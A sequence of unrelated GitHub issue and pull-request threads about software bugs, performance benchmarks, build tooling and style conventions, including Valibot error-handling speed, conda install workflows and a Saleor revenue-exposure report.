That would be nice, since it will allow to create "low in stock" notifications. It would be great to be able to adjust the threshold.

I think revenue = (quantity - stock) * price? Maybe Saleor should limit the access to total quantity of a product variant?

I agree that quantity and quantityAllocated should be private, but it's not exactly the same as exposing revenue. Allocated quantity tells how many items are currently allocated in open orders, but doesn't tell you anything about past orders. You would have to regularly fetch quantities to track that but still - the impact is not that heavy as directly exposing revenue.

@maarcingebala would be good to notify existing store owners about the issue so they can temporarily patch it. Some people might get fired for a data leak like that :)

I'll mention that on Gitter and on Spectrum. This will be also mentioned in the incoming release notes on our blog.

Oh, and we're waiting to get the CVE vulnerability ID for that bug.


Pull request and merge patch/content/primary

Create pull request and merge "patch/content/primary" to "feature/body"


Reduce spread operators for perf round 3: new ValiError()

In my test environment, this change had no effect. @naruaway can you test if it makes a difference in your benchmarks? If it doesn't make a difference in yours either, we should find out why that is the case.

(on mobile, do not have PC now) 'throw' it self can be too slow compared to the spread ops
I'll check this in later today as well

throw did not have a negative effect in my tests. Validating invalid data is almost as fast as with valid data.

@fabian-hiller Ok I ran https://github.com/naruaway/valibot-benchmarks to compare 29f78b4b854dbab9168a2636c287bf4ed46a506c against 27278fe99be29dfa96fe950b126ad7fca54218d5 and it looks like the result is consistent with your observation.
Benchmark result of 29f78b4b854dbab9168a2636c287bf4ed46a506c against 27278fe99be29dfa96fe950b126ad7fca54218d5

Running benchmarks using nodejs
Showing the result when running runtime environment (e.g. Node.js) 100 times for each:
case: "deep", data: "valid"
 0% slower
  baseline: 357921 ops/s, +- 3% stddev
  target: 356630 ops/s, +- 4% stddev
case: "many_features", data: "invalid"
 4% slower
  baseline: 18500 ops/s, +- 2% stddev
  target: 17839 ops/s, +- 2% stddev
case: "many_features", data: "valid"
 1% faster
  baseline: 104606 ops/s, +- 5% stddev
  target: 105324 ops/s, +- 4% stddev
case: "optional_nullable", data: "valid"
 0% slower
  baseline: 374669 ops/s, +- 5% stddev
  target: 374159 ops/s, +- 4% stddev
case: "wide", data: "invalid"
 1% faster
  baseline: 4021 ops/s, +- 6% stddev
  target: 4081 ops/s, +- 4% stddev
case: "wide", data: "valid"
 0% faster
  baseline: 235519 ops/s, +- 4% stddev
  target: 236182 ops/s, +- 5% stddev
Running benchmarks using bun
Showing the result when running runtime environment (e.g. Node.js) 100 times for each:
case: "deep", data: "valid"
 0% slower
  baseline: 389875 ops/s, +- 3% stddev
  target: 389212 ops/s, +- 2% stddev
case: "many_features", data: "invalid"
 3% faster
  baseline: 85253 ops/s, +- 5% stddev
  target: 87828 ops/s, +- 3% stddev
case: "many_features", data: "valid"
 3% faster
  baseline: 406345 ops/s, +- 4% stddev
  target: 417007 ops/s, +- 4% stddev
case: "optional_nullable", data: "valid"
 0% faster
  baseline: 443788 ops/s, +- 7% stddev
  target: 444826 ops/s, +- 7% stddev
case: "wide", data: "invalid"
 3% faster
  baseline: 22390 ops/s, +- 3% stddev
  target: 23113 ops/s, +- 3% stddev
case: "wide", data: "valid"
 1% faster
  baseline: 287371 ops/s, +- 8% stddev
  target: 290755 ops/s, +- 8% stddev
out of 12 cases, 8 cases (67%) were faster

Validating invalid data is almost as fast as with valid data

Which schema / data did you use? In many_features schema in my benchmark, parsing "invalid" data is 82% slower than parsing "valid" data. This schema and data is stored here

Validating invalid data is almost as fast as with valid data.

I had forgotten to replace the test data with invalid data. I noticed it just now. Now validating erroneous data is extremely much slower than valid data. You are probably right that throw could influence this. I will investigate this today.

With this PR, I see now an improvement from 8 seconds to 6 seconds in my test.

The investigation with a performance profiler shows that the instantiation and throwing of the ValiError is the biggest bottleneck. It probably relates to the parent class Error, which collects error information in the background. If I remove the parent class, I see a 30% improvement in performance. You are right that if we change the error handling to a context, we will see a much better performance.

My idea, based on your suggestion, is the following. Instead of throwing errors in the parse or safeParse method, we add the key issues to the info object with an empty array. Now instead of throwing errors, they are added to the issues array, and only at the very end in the parse or safeParse method a ValiError is created. With these changes, we could see much better performance.

@fabian-hiller Yeah I had kind of similar idea, but there is one issue. Since .parse still need to throw to retain backward compatibility. Composite schema such as object will be still slow (e.g. this try-catch will be executed many times for "wide" type of schema like this). If we really need to avoid throwing, probably we need to switch some sort of "mode" for .parse to avoid throwing or we could implement alternative method for internal usage or we could turn .safeParse first class instead. Anyway, at this point I feel like it can be better to encourage people to use v.parse(v.string(), x) rather than v.string().parse(x) so that we can change internal API

Yes, .parse is an internal API and should not be used externally. In the docs, I have taken this into account. In my opinion, we don't need to be backward compatible as we are still in v0. Also, fixing this with parse(schema, data) should be quick. Do you have an alternative idea for naming .parse? Should we use an underscore to indicate that it is an internal API? My idea from above includes that .parse no longer throws an error but fills the .issues array.

Yes, .parse is an internal API and should not be used externally. In the docs, I have taken this into account. In my opinion, we don't need to be backward compatible as we are still in v0.

Oh I see! I missed this and I was just using v.string().parse() a lot 😅  Yes I think we can rename it to ._parse() and we should not expose this in TypeScript definition. (we might come up with hard protection like hard private fields such as #parse but I really do not like this. We should still allow people to access this internal API if they really want and they know what they are doing )

we are still in v0

definitely 👍 we should not be afraid of good breaking changes

I have already started the improvements and will create a draft PR in an hour or two.

It took longer than I thought. But now I am finished. Next, I have to revise all the tests. That will probably take another 1 to 2 hours.

The first tests show that the validation time for invalid data could be reduced by up to 90% by changing the error handling from try...catch and throw new ValiError(...) to an issues array.

I have just added the changes to the main branch. Feel free to review the code and give me feedback. However, before we release a new version, we need to ensure that we don't break any existing integrations, e.g. with tRPC and React Hook Form.


HAWQ-1187. Fix "-Wsometimes-uninitialized, -Wsizeof-pointer-memaccess , -Wdangling-else, -Wheader-guard, -Wenum-conversion, -Winvalid-source-encoding" compile warnings under osx.

http://pastebin.com/VWSuCwsC

cc @paul-guo- @ictmalili

also cc @stanlyxiang

LGTM now. +1

+1

＋1

Merged into master.


[Bug]: Top tool bar is break

Apache Hop version?
2.4
Java version?
11
Operating system
macOS
What happened?
The top toolbar always appears broken as you can see in the attached image.
I have a 13.3-inch MacBook Air M1 and the hop-gui interface doesn't seem to automatically match my resolution.

Issue Priority
Priority: 3
Issue Component
Component: Hop Gui

The same happened in versions that I test: 2.3, 2.2 and 2.1

which java version are you using? is this an ARM java or is it using rosetta?

There is no problem with Hop, the reason for the breakage is because I have multiple monitors, when turned off, the bar is normal


Add request options to handle configurations (proxy, headers,…).

This branch is very useful for those of us using self-signed certificates, and doesn't introduce any breaking changes.


enhancement/apk-size

What does this implement/fix? Explain your changes.
Reduced final APK size by replacing OpenCV module with an already built AAR excluding other CPUs arch native libraries.
Any relevant logs, error output, etc?
...
Any other comments?
...
Where has this been tested?

Devices/Simulators:
Google Pixel 4

OS Version:
Android 11

I compared demo apk size of 3 cases:

on develop branch, package armeabi-v7a, arm64-v8a, x86, x86_64 architectures, the apk size is 59MB
on develop branch, only package armeabi-v7a, arm64-v8a architectures, the apk size is 19MB
on this branch (only package armeabi-v7a, arm64-v8a architectures), the apk size is 18MB

And in MEGA app develop branch, the apk size is 149MB, seems the reduce is not enough :( Although we need actually try to use this reduced lib in MEGA app repo.


Replaced bootstrap standard modal with angular based one. Fixes #146

@rosogon  could you review it? Also this could be used as an example to improve topology-status-editor modals.

@adriannieto : What do I need to do to test this?

One of the tests I did is to add an application (with Brooklyn if you want to speed up) and try to remove it. If the dashboard is not faded after this, then the problem is solved.

Merging. Closes #146


PannerNode behaves differently on the web

The sound is higher in the web when the position is farther away, in a factor of 3-5 times.
This is the setup code:
Web:
        let panner_node = context.create_panner().unwrap();
        panner_node.set_distance_model(DistanceModelType::Inverse);
        panner_node.set_panning_model(PanningModelType::Hrtf);
        panner_node.set_ref_distance(8.0);
        panner_node.set_max_distance(80.0);
        panner_node.set_rolloff_factor(0.2);

web-audio-api:
let mut options = PannerOptions::default();
        options.distance_model = DistanceModelType::Inverse;
        options.panning_model = PanningModelType::HRTF;
        options.ref_distance = 8.0;
        options.max_distance = 80.0;
        options.rolloff_factor = 0.2;
        let panner_node = PannerNode::new(context, options);

might be related to the following issue when he noticed some differences as well:
https://github.com/orottier/web-audio-api-rs/issues/373

Thanks for the report. What value do you mean with farther away?
The expected behaviour is 100% volume for distance <= 8 and then rolling off when moving further away.
For your information, max_distance is unused in the "inverse" distance model

I am about 60 distance,
I might have exaggerated with 3x, but i also updated parameters since:
panner_node.set_distance_model(DistanceModelType::Inverse);
panner_node.set_panning_model(PanningModelType::Hrtf);
panner_node.set_ref_distance(*distances.start() as f64);
panner_node.set_rolloff_factor(1.0);

panner_node.set_distance_model(DistanceModelType::Inverse);
panner_node.set_panning_model(PanningModelType::Hrtf);
panner_node.set_ref_distance(8.0);
panner_node.set_rolloff_factor(1.0);

options.distance_model = DistanceModelType::Inverse;
options.panning_model = PanningModelType::HRTF;
options.ref_distance = 8.0;
options.rolloff_factor = 1.0;

(volume is 0.8, distance is around 40)
the first section of the video shows the web-audio-api, second part shows web.
Pawn is at exact position, the bullet does not have a PannerNode (it's the only difference), so the sound is the reference point.
A looped sound is running to show the PannerNode differences, the sound notices around 30% higher volume in the web? or i am not sure what the difference is.
https://youtu.be/K__mKDpSBuQ

here is a more obvious sound comparison:
https://soundcloud.com/andre-marques-325808409/untitled?si=69b65a1973034f8f8d04b2d187758752&utm_source=clipboard&utm_medium=text&utm_campaign=social_sharing

right now, it seems that if i multiply the wasm by 50%, the sounds match intensity in the PannerNode

Thanks for the additional information, this is very helpful!
We will have to investigate if the change is due to the HRTF panning (in which case we will need to tune it to match the browser's behaviour), or also occurs with EqualPower panning (in which case our implementation does not follow the specification). I can do that at the end of the week, but if you are able to, could you run your experiment with PanningModelType::EqualPower?

This are the same setting with EqualPower instead Right side is web.
spikes are the bullet reference points.

My current suspicion is that this is due to the fact we only support mono-to-stereo panning, not stereo-to-stereo. See also #44 .
stereo-to-stereo is by definition louder, cf spec https://webaudio.github.io/web-audio-api/#stereopanner-algorithm
For mono input, the stereo output is calculated as:

outputL = input * gainL;
outputR = input * gainR;

Else for stereo input, the output is calculated as:

if (pan <= 0) {
    outputL = inputL + inputR * gainL;
    outputR = inputR * gainR;
} else {
    outputL = inputL * gainL;
    outputR = inputR + inputL * gainR;
}

I will try to see if I can implement this without too much effort.
To validate my theory, you could try to set the PannerNode.channelCount equal to 1 to force mono-to-stereo on the web and then the volume should be equal to our lib.

I believe I have a fix ready in #393

Wow great job!


Lineage ingestion not properly setup when service name contains spaces

Affected module
UI (fix could be here), and Ingestion Modules
Describe the bug
When a database service name contains space characters, the generated lineage ingestion name keeps those spaces and they appear in the underlying Airflow scripts, provoking errors and impossibility to run and check lineage ingestion DAGs
To Reproduce

Create a database service name containing a space (say "Servicewith Spacechar")
Create a metadate ingestion (ingestion default name is OK, all special chars replaced by _: "Servicewith_Spacechar_metadata_xxxx")
Run it
Create a lineage ingestion (ingestion name is not editable and will keep the spaces: "Servicewith Spacechar_lineage")

You will not be able to run the lineage ingestion or view logs, etc. due to space chars being carried on to the Airflow API calls.

Expected behavior
When creating a lineage ingestion within a database service, the ingestion name should have its special characters replaced.
It works fine when using "_" instead of spaces when creating the service name.
Version:

OpenMetadata version: 1.1.0

Fix:
I initiated #12521

Thanks @rudydel the PR is merged in for 1.1.1

Thanks @rudydel the PR is merged in for 1.1.1

Amazing! My first contrib here. OM is great. Too bad I commited without logging with my GitHub account so I'm still not officially a contributor. Oh well!
Hopefully I'll make other fixes!


update dependencies

This updates the dependencies to the latest versions.

@pangratz, @Turbo87: should be good to merge


Extra OTel components into OTel module and delay SDK init until SDK starts up

Goal

Testing

Release Notes

WHAT:
WHY:
WHO:

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

Current dependencies on/for this PR:

master

PR #192

PR #190

PR #358

PR #359

PR #360

PR #361

PR #362

PR #363

Merge activity

Feb 8, 11:32 AM EST: @bidetofevil started a stack merge that includes this pull request via Graphite.


config: exclude reviewer rustin-bot for tidb-community-bots

/assign @Mini256
PTAL~
We don't want this bot be a reviewer.

ok
/lgtm

/merge


Adding vertical scrollbar to matching color of website

improve in user interface by implimenting it

@Kritika30032002 please assign it to me under hactoberfest 2023


Fix the incorrect unit test when auto TLS is enabled

We need to set visibility explicitly in the unit test so that the gateway corresponding to the visibility could be picked up
/assign @JRBANCEL

/lgtm
/approve


[DOCFIX] Update UFSExtensions.md

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/20629/
Test PASSed.


Adding ISSUE_TEMPLATE/

Offered issue templates can improve communication with community and also look pretty dope. Take a look at linuxserver.io's logo and structure on this issue template:
https://github.com/linuxserver/docker-code-server/issues/new?assignees=&labels=&template=issue.feature.md
Good templates can be:

bug fix
feature request

site related
code/repository related

security issue

I don't think we're facing any issue with the way people open issues right now, so I'd say this is a low priority. But feel free to prove me wrong :)

I agree, it probably is a low priority.
The idea is mainly to help new people to make their first issues with the suggested template, rather than being a rigid template to stick with in order to get any attention (as other projects might require)
Issuing should still be possible if you choose to avoid using any template.

Closing for now as it's low priority


Defender module not imported automatically when running Boxstarter

When trying to exclude folder from Windows defender through Boxstarter it ends up with this:
(Command that I try to run: set-mppreference -exclusionpath C:\BuildAgent)
Set-MpPreference : The 'Set-MpPreference' command was found in the module 'Defender', but the module could not be
loaded. For more information, run 'Import-Module Defender'.
At line:1 char:1
+ Set-MpPreference
+ ~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (Set-MpPreference:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CouldNotAutoloadMatchingModule

If I test the command locally before running through boxstart it works. But after I have run it with boxstarter the command stops to work even if I try locally.

Interesting. It seems something with the boxstarter/chocolatey environment is causing the defender module import to fail. Try adding Import-Module Defender to your package and see if that raises any error that may give a clue as to why.

@levande I appreciate this was some time ago but did you get any further with this?

There has been no updated to this in some time so I'm going to go ahead and close it. We can always reopen it again if needed.


Improving installing packages with conda

I'm opening this issue to discuss about how we could improve the installation of packages with conda, with the goals of making that:

faster
more flexible
more predictable

This is motivated by the recent work done by @philippjfr to improve the speed of the test workflows (starting from Panel) and by various difficulties experienced with using pyctdev for almost a year now.
How it works
Installing packages with pyctdev requires first to create an environment. This is usually done with installing first pyctdev and then running:
doit env_create --name envname --python=3.x -c channel1 -c channel2
which:

Creates a new environment with the name, python version and channels provided
Install pyctdev in that new environment:

If pyctdev (the one installed originally and running these steps) is in a pre-release version, install from the pyviz/label/dev channel
If the env var PYCTDEV_SELF_CHANNEL is provided, install from the channel provided as value of the env var
If none of the above is true, install from the pyviz channel

Note as this may be important that in step 2, the conda install step does not include all the channels listed in the doit env_create call.
Then the environment is activated, there's no pyctdev command for that.
The main installation can now take place, this is done by running:
doit develop_install -c channel1 -c channel2 -o options1 -o options2 -o options3
which:

Finds the list of build dependencies and installs them with conda (respecting the channels provided with -c-)
Finds and concatenates the options dependencies, and installs them with conda (respecting the channels provided with -c-)
Installs the package in editable mode with python -m pip install --no-deps --no-build-isolation -e . (--no-deps as all the dependencies should already be there, --no-build-isolation to avoid creating a virtual environment, all the build dependencies are already installed anyway)

--conda-mode=mamba can be set to use mamba instead of conda in steps 1 and 2.
Making it faster
There are I believe two main avenues to make this faster.
The first one would be to use a faster solver, by default, either mamba or the libmamba solver. The --conda-mode option already offers the possibility to run the slowest install steps with mamba. Ideally though we wouldn't have to use mamba, and we would rely on the libmamba solver implemented in conda, which hopefully should one day becomesthe default one, or at least available not under an experimental flag.
The second one would consist in reducing the number of conda install steps. There are currently 4 conda install steps, the first one being when the environment is created, the three other ones to install pyctdev, the build dependencies and then all the other required dependencies. Installing multiple times in a conda environment is known to lead to long solving times:

doit env_create could install install pyctdev when it is creating the environment, reducing it basically to conda create -n new-env python=3.x pyctdev (as a matter of fact I have replaced doit env_create by this in a number of workflows already)
Unless I miss something, it seems it would be fine merging the two first steps of doit develop_install.

We could go even further and have a single command to install all the dependencies, adding to doit env_create some of the features of doit develop_install, which would then be called as such: doit env_create --name my-env --python=3.x -c channel1 -c channel2 -o options1 -o options2 -o options3. As this might end up in installing a version of pyctdev that is not the latest, another command line parameter could be added to be able to add a version constraint, e.g. --pyctdev-install=">=1.1".
Making it more flexible
Some packages that are needed to run the test suite or the docs build are not available on PyPi. Because of that they are not listed anywhere in the setup.py file, instead, they are installed directly in the Github workflows files with conda install. pyctdev should offer a way to install these packages without having to resort to use conda directly.
Some packages are not available on Anaconda.org (e.g. a recent example is pytest-playwright). These packages are usually installed manually with pip after running doit develop_install. There should be a way to declare a list of packages that pyctdev should install with pip.
Regarding these two points, one could think that the packages to install only with conda and only with pip could be declared in a config file (e.g. in setup.cfg). However, I believe that for maximum flexibility it would actually be better to add command line parameters to pyctdev instead, as sometimes the packages to install depend on the operating system or on some other conditions. I would suggest something like doit develop_install --conda-install "nodejs>15" --conda-install mesalib --pip-install pytest-playwright --pip-install ....
Making it more predictable
What sometimes makes the installation process difficult to predict, and even not so robust, is the "channel dance" 💃 , whereby some packages get re-installed from another channel because of different channels being specified in the install steps. This was the source of a bad bug - that took months to find on HoloViews test suite as it happened only on a platform, and that still happens from time to time in the ecosystem - by which Python itself was being re-installed during a doit develop_install call, leading to a cryptic doit/pyctdev error.
One of the steps that I think is one source of this problem is the second step of doit env_create, the one that installs pyctdev. Because it doesn't re-use the channels passed to doit env_create, and because it chooses the channel to install pyctdev itself based on some rather implicit conditions. I would suggest that this step should install pyctdev with the channels provided to doit env_create, and adding a command line parameter to env_create to override the channel it should be installed from, e.g. doit env_create ... --pyctdev-channel "pyviz/label/dev". Note that in most HoloViz cases you wouldn't use that new parameter as either pyviz or pyviz/label/dev are specified in the channels list.
An approach that I have recently tried and that I find very appealing is to:

create an empty environment: conda create -n my-env
activate that environment: conda activate my-env
configure the environment channels: conda config --env --append channels channel1 --append channels channel2
configure the channel priority to strict: conda config --set channel_priority strict

This creates a local condaRC file associated with that environment. The benefits of this approach is that all the channels are declared prior to installing anything, in the order they are supposed to be used. Setting the channel priority to strict makes the environment solving even more predictable (and faster I believe). So the environment is set up, and the later conda install calls don't have to specify any channel at all. I think that this approach also offers a better separation between the user conda configuration, their system condaRC is less likely to leak its configuration during the installation procedure. Another situation that can benefit from this approach  is in a local setup you want to download a new package or update a package. In that case you would do that using conda install directly, and you would have to remember the channels you should use and their order in order to avoid the channel dance. With the suggested approach you don't have to remember anything about the channels.
Suggestion
If I would combine all the suggestions I've made into a rather ambitious proposal, that would be extending doit env_create so that the following is allowed:
doit env_create \
--conda-mode=mamba \  # using mamba but would prefer libmamba
--name=my-env \
--pyctdev-install ">=1.1" \
--python=3.x \
-c pyviz/label/dev -c conda-forge -c nodefaults \
--channel-priority strict \
-o tests -o examples \
--conda-install "nodejs>15" \
--pip-install pytest-playwright

which would do:

conda create -n my-env
conda activate my-env
conda config --env --append channels pyviz/label/dev --append channels conda-forge --append channels nodefaults
conda config --set channel_priority strict
mamba install python=3.x "pyctdev>=1.1" all the other tests and examples dependencies "nodejs>15"
python -m pip install pytest-playwright
python -m pip install --no-deps --no-build-isolation -e .

I would appreciate any feedback on this issue. If the last suggestion is too ambitious, implementing separately some of the first suggestions should already be an improvement. Note that I have not given any thought on the pip version of doit develop_install, which I think doesn't suffer from the issues reported here, at least not the performance related problems.

An issue with having pyctdev run two conda install commands in doit develop_install is that sometimes Python itself gets up/down-graded with results in an error. This is actually reproducible, executing this:
conda create -n testenv python=3.8.10 doit`
conda activate testenv
doit reproduce

From a folder containing this dodo.py file:
# dodo.py

def task_reproduce():
    return {'actions': [
        'conda install --yes "python=3.8.8"',
        'echo "I will be reported as failing :("'
    ]}

Leads to this error:
TaskFailed - taskid:reproduce
Command failed: 'echo "I will be reported as failing :("' returned -9

Not that the action that is reported as failing is the second one that has nothing to do with Python. The error occurs maybe in between the two actions but isn't well reported.
This is actually a pretty important point as this error occurs quite often and the suggestion I made in my previous post doesn't take that into account.

Ideally you would not install pyctdev (or any similar tool) in the environment you're testing or building, as its own dependencies may affect those of the software to test/build. It's even more true for pyctdev because of the bug reported above.
One may think that pyctdev could be installed in the base environment and as such would be made accessible to all the other environments:

having users install tools in their base environment isn't necessarily a very good idea
pyctdev currently need to be able to import setup.py and to do that the build dependencies (e.g. param. bokeh, setuptools, etc.) need to be installed in its environment

While we could accommodate with 1), 2) is a blocker. To unlock 2), we could convert all the projects to using pyproject.toml instead of setup.py.

Currently the pyctdev conda package depends on conda itself, which means that when you install pyctdev in any environment outside of the base, it will be install conda there as well which causes all sorts of confusion and problems.
Really, any tool that actually depends on having conda in the same environment really should not be installed anywhere except base.


Cannot deploy RKE2 to Harvester cluster, RKE1 works

Rancher Server Setup

Rancher version: v2.6.5
Installation option (Docker install/Helm Chart): Docker install
Proxy/Cert Details: standard self signed, switched for testing to letsencrypt

Information about the Cluster

Kubernetes version: 1.23.7
Cluster Type (Local/Downstream):  RKE / RKE2 on Harvester v1.0.2

User Information

What is the role of the user logged in? Admin

Describe the bug
Cannot deploy RKE2 clusters to Harvester cluster but deploying RKE1 works like a charm.
To Reproduce

Install Rancher
Install Harvester
Add Harvester Cluster to Rancher
Create new RKE2 cluster on Harvester

Result
Waiting for viable init node

Message inside nodes:
  failureMessage: |-
    Failure detected from referenced resource rke-machine.cattle.io/v1, Kind=HarvesterMachine with name "*-pool-442adf80-vvnnf": Downloading driver from https://rancher.*/assets/docker-machine-driver-harvester
    Doing /etc/rancher/ssl
    ls: cannot access 'docker-machine-driver-*': No such file or directory
    downloaded file  failed sha256 checksum
    download of driver from https://rancher.*/assets/docker-machine-driver-harvester failed

Docker logs:
2022/06/30 14:44:41 [ERROR] error syncing 'fleet-default/cluster-pool-442adf80-g96x7': handler machine-provision: no machine owner ref, requeuing
[...]
2022/06/30 15:30:25 [ERROR] error syncing 'fleet-default/cluster-bootstrap-template-gv9pr': handler rke-machine: failed to delete fleet-default/cluster-bootstrap-template-gv9pr-machine-bootstrap /v1, Kind=Secret for rke-machine fleet-default/cluster-bootstrap-template-gv9pr: secrets "cluster-bootstrap-template-gv9pr-machine-bootstrap" not found, failed to delete fleet-default/cluster-bootstrap-template-gv9pr-machine-plan /v1, Kind=Secret for rke-machine fleet-default/cluster-bootstrap-template-gv9pr: secrets "cluster-bootstrap-template-gv9pr-machine-plan" not found, failed to delete fleet-default/cluster-bootstrap-template-gv9pr-machine-plan /v1, Kind=ServiceAccount for rke-machine fleet-default/cluster-bootstrap-template-gv9pr: serviceaccounts "cluster-bootstrap-template-gv9pr-machine-plan" not found, requeuing

Expected Result
If RKE1 deployment is successful, RKE2 should work to?
Additional context
Switch because of this error to a real certificate powered by lets encrypt, same behavior.
admin@vm:~$ wget https://rancher.*/assets/docker-machine-driver-harvester
--2022-06-30 15:26:55--  https://rancher.*/assets/docker-machine-driver-harvester
Resolving rancher.* (rancher.*)... 10.X.X.X
Connecting to rancher.* (rancher.*)|10.X.X.X|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 38760448 (37M) [application/octet-stream]
Saving to: ‘docker-machine-driver-harvester’

docker-machine-driver-harvester                                                               100%[================================================================================================================================================================================================================================================>]  36.96M  --.-KB/s    in 0.04s

2022-06-30 15:26:55 (878 MB/s) - ‘docker-machine-driver-harvester’ saved [38760448/38760448]

admin@vm:~$

Had a 404 during creation, sorry


Unable to successfully run ar_hand_eye calibrate.launch.py

Hi there, I'm having issues running the ar_hand_eye package. Rviz is loading, as well as my camera, but when the marker is is in from of the camera the calibration GUI does not show.
I think I've tracked it down to the following logs:
[rqt_calibrator.py-8] Warning: class_loader.ClassLoader: SEVERE WARNING!!! Attempting to unload library while objects created by this loader exist in the heap! You should delete your objects before attempting to unload the library or destroying the ClassLoader. The library will NOT be unloaded.
[rqt_calibrator.py-8]          at line 127 in ./src/class_loader.cpp
[ERROR] [rqt_calibrator.py-8]: process has died [pid 55247, exit code 1, cmd '/home/surface/dev/ROBOT_ARM/ar4_ros_driver/install/easy_handeye2/lib/easy_handeye2/rqt_calibrator.py --ros-args --log-level debug --ros-args -r __node:=handeye_rqt_calibrator --params-file /tmp/launch_params_20tc3zld'].

Looking closer at rqt_calibrator.py - it appears to be calling the RqtHandeyeCalibrator PythonQt widget.
When opening RqtHandeyeEvaluatorWidget in vscode, the editor complains that some of the python_qt_binding imports cannot be found. E.g.:
Import "python_qt_binding.QtCore" could not be resolved

I've install ros-iron-python-qt-binding, PyQt5, and even tried pyside2, but with no luck.
Do you know if there's any other dependencies I might need to install? Or am I looking in the wrong direction all together?
Additionally, the following logs are sometimes shown when running the calibration launch file:
[handeye_server-7] [ERROR] [1716278208.692723726] [handeye_server]: The specified tf frames for the tracking system base/camera and marker do not seem to be connected
[handeye_server-7] [ERROR] [1716278208.693496974] [handeye_server]: Run the following command and check its output:
[handeye_server-7] [ERROR] [1716278208.694265647] [handeye_server]: ros2 run tf2_ros tf2_echo camera_link calibration_aruco
[handeye_server-7] [ERROR] [1716278208.694875688] [handeye_server]: You may need to correct the base_frame or effector_frame argument passed to the easy_handeye2 launch file
[handeye_server-7] [ERROR] [1716278208.695449724] [handeye_server]: Underlying tf exception: "calibration_aruco" passed to lookupTransform argument source_frame does not exist.
[handeye_server-7] [WARN] [1716278208.696346813] [handeye_server]: Waiting for TF initialization...
[handeye_server-7] [INFO] [1716278208.698935908] [handeye_server]: Checking that the expected transforms are available in tf
[handeye_server-7] [INFO] [1716278208.699727565] [handeye_server]: Robot transform: base_link -> link_6
[handeye_server-7] [INFO] [1716278208.700455301] [handeye_server]: Tracking transform: camera_link -> calibration_aruco
[handeye_server-7] [INFO] [1716278211.770035636] [handeye_server]: All expected transforms are available on tf; ready to take samples

An update, when I run rqt_calibrator.py directly in a terminal and then run calibrate.launch.py in another the GUI shows when detecting the marker:
ros2 run easy_handeye2 rqt_calibrator.py --ros-args \
  -p name:=test \
  -p calibration_type:=eye_on_base \
  -p robot_base_frame:=base_link \
  -p robot_effector_frame:=link_6 \
  -p tracking_base_frame:=camera_link \
  -p tracking_marker_frame:=calibration_aruco

ros2 launch ar_hand_eye calibrate.launch.py

Any ideas why it is still failing when run from the launch file?

these are the dependencies needed by easy_handeye2, have you installed them? https://github.com/marcoesposito1988/easy_handeye2/blob/master/easy_handeye2/package.xml#L27-L29
The install command would be:
rosdep install --from-paths . --ignore-src -y

Additionally, the following logs are sometimes shown when running the calibration launch file:

These are supposed to show up on every run, after the aruco marker is detected. After these lines, the GUI starts up

Thanks for your response @ycheng517
I had run rosdep install --from-paths . --ignore-src -y a few times to make sure the deps were installed, but after looking through those dependencies you linked I found I also had to install ros2-iron-rqt. Strange that the plugins where installed but the base package was not. Maybe the package.xml needs to be updated also include that package?
Either way, after installing ros2-iron-rqt with apt the launch file now works and the GUI shows when detecting the marker.

I got it working - thanks again for your help. Here's a video of it in action, the calibration is a bit off though haha.
https://www.youtube.com/shorts/LCqsrjWtK4I
I've ordered a realsense cam, looking forward to trying your tabletop-handybot repo out when it arrives!

awesome, glad you figured it out! Looking forward to seeing more demos from you!


Add simple style guide to docs

Add a "Conventions" section
Move "Documenting code" to that section
Add a simple style guide

This was heavily discussed here: https://github.com/manastech/crystal/issues/1616 As described there, I think a forced coding style is no-good. It adds overhead to simple tasks.
An external formatter tool was also discussed, but pushed off until after 1.0, which seems wise: https://github.com/manastech/crystal/issues/309
I suggest a very minimal style guide. I know there are many things that people disagree on, and I have tried to leave those out. Instead, I have identified (or tried to identify) things that are widely present in the standard library (showing a Ruby influence, I think).
(This PR was triggered by a code sample from someone following a Java example: http://play.crystal-lang.org/#/r/hqg.)
So, what do you think? Is this a good solution to this issue? Is this style guide sufficient?

I like that it's minimal for now, that allows to slowly expand it as new conventions are discovered. Perhaps add that lib definitions should start with Lib, eg. lib LibC.

:+1: for me. Maybe just add the Lib prefix as suggested by @jhass.

Thanks, I've pushed a commit to respond to those changes. Anything else? If not I'll squash.

LGTM :+1:

rebased!

Isn't underscore-cased should be snake-cased ?  (https://en.wikipedia.org/wiki/Snake_case)

I've seen both terms.

I picked that one to match stdlib String#underscore which converts a string to underscore-case/snake-case

Should I change it to snake-case? I'm happy to

I think your arguing re. underscore case is fine.

Reads all good to me.

Looks good to me too :+1:

Squashed again!

Thanks!

Yeah, I put input here really late. I'm a grammar nerd...

bad timing, yeah... @rmosolgo wanna do a follow up? :)

There's one thing missing that we have to decide, and that's the style for enum members. Since the are constants one would tend to use Color::RED, but maybe I prefer Color::Red because I see it as an instance of Color of some sort.
Ideas?

Either way it's a constant value and not a type IMO, whether you picture it as Color::RED = 1 or Color::RED = Color.new(1) doesn't matter much to me.

I prefer Color::Red. Color::RED is reminiscent of C where enum values are all in one scope.

Color::Red +1

I believe it would be better for @rmosolgo to open another pull request for further change?


[protobuf] Provide a way to generate pb.go files

Add protoc file to the generated protocol->internal->protocol.pb.go.
Add https://github.com/temporalio/api as submodule into the internal->protocol directory
Update Makefile and provide a way to regenerate *.pb.go files in-place.

Done


Split view code completion dropdown duplicated

When editing in a split I see my code completion dropdown displayed at both my current cursor position AND my former one in the other split.

Thanks for logging the issue @williamtstanley and the screenshot!
Embarrassing... getting a fix out now 👍


Move verify function from wallet.Backend to wallet.Sig

Closes #294.

This is a change to the external API with no clear justification. It is debatable which is the better approach, have the Verify method on the Wallet, or on the Sig.
I have looked at https://pkg.go.dev/crypto/ecdsa and https://github.com/google/tink and both do not have the Verify function on the signature. Instead, they rather have a signature of type []byte and have the Verify function on some central object, either the package or a dedicated Verifier object.
The fact that other libraries tend to treat signatures typically just as []byte makes me wonder whether actually introducing a type Sig is a good idea at all. It seems to introduce a lot of additional types (e.g., now each wallet needs to implement a type Sig). Moreover, you mentioned that the reason for introducing type Sig was separation of concerns for perunio, but now I am wondering: If it is about serializing a signature into bytes, shouldn't that part be trivial if the type of sig is []byte already?

